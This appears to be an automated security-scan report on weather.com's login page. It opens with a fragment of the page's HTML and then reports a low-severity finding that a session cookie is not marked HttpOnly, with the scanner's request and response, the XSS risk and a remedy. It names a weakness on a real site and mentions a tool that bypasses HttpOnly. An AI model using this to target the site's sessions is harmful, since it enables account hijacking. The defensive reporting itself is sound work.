id="hint_username">&nbsp;</div></td></tr><tr><td width="188" align="right" class="ursRowOff" valign="middle">Password *</td><td valign="middle" class="ursRowOff" colspan="1" width="188"><input value="" name="password" type="password"><script type="text/javascript">constraints[constraints.length]='login/password:req;'</script><noscript><input name="_checkpassword" type="hidden" value="req;"></noscript></td><td width="188" class="ursRowOff" valign="middle"><div height="30" id="hint_password"></div></td></tr></table></td></tr></table></td><td width="188" valign="top" align="center"><table style="height:51px" width="100%" cellspacing="0" cellpadding="0" border="0"><tr><td style="position:relative;top:3px;" valign="middle" align="center"><p><a target="_blank" onclick="return !window.open('http://www.weather.com/common/home/privacy.html','Privacy','width=466,height=450,resizable,scrollbars,nostatus')" href="http://www.weather.com/common/home/privacy.html"><img border="0" height="31" width="116" alt="" src="/web/common/logos/finalmark.gif"></a></p></td></tr></table> <div class="helperBox" style="padding:10px"> <p><a href="/ursa/changePassword">Forgot your password?</a></p> <p><a href="http://www.weather.com">weather.com homepage</a></p> <p><a target="_blank" onclick="return !window.open('http://www.weather.com/mobile/textalertsubscribers.html', 'textalertsubscribers','width=466,height=450,resizable,scrollbars,nostatus');" href="http://www.weather.com/mobile/textalertsubscribers.html">Text Alert Subscribers</a></p> </div> </td></tr><tr><td class="inDentA" valign="middle"><table width="100%" border="0"><tr><td style="font-size:10px;" class="ursText" width="100">* required fields</td><td valign="middle" align="center"><input value="" name="banner" type="hidden"><input value="/ursa/profile" name="flowStart" type="hidden"><br><br><input value="/ursa/login" name="next.step" type="hidden"><input value="Login" type="image" alt="Login" src="/web/urs/common/signin.gif">&nbsp;&nbsp;<br><br></td></tr></table></td><td style="font-size:10px;" class="ursText" valign="middle" align="right">secure site <img align="ABSmiddle" border="0" height="15" width="13" alt="" src="/web/urs/common/lock.gif"> &nbsp;&nbsp;</td></tr></table></form> <script type="text/javascript"> pageReport.environment.page="L"; document.login.action="/ursa/login?"; document.login.banner.value=document.bannerImg.src; </script> </div></td></tr></table><br> <div class="inDentA blkVerdanaText10" width="758" style="max-width:758px"> Copyright &copy; 1995-2011, The Weather Channel Interactive, Inc. Your use of this site constitutes your acceptance of the <br><a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/legal.html?from=footer">LEGAL RESTRICTIONS AND TERMS OF USE</a><p><font color="blue">UPDATED</font> weather.com &reg; <a target="_blank" class="10pxLink" href="http://www.weather.com/common/home/privacy.html?from=footer">Privacy Statement</a> - Licensed by TRUSTe | <a target="_blank" class="10pxLink" href="http://controlyourtv.org/?from=twc_footer">Parental TV Controls</a></p></div></div></center></body></html>
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly

1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /ursa/login

/ursa/login CONFIRMED

https://registration.weather.com/ursa/login

Identified Cookie

Ticket_web

Request

HEAD /ursa/login HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: netsparker/check
Cache-Control: no-cache
Host: registration.weather.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2011 04:55:15 GMT
Server: Apache
X-Cocoon-Version: 2.1.7
Set-Cookie: Ticket_web=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/,Ticket_urs=""; Domain=.weather.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Expires: -1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html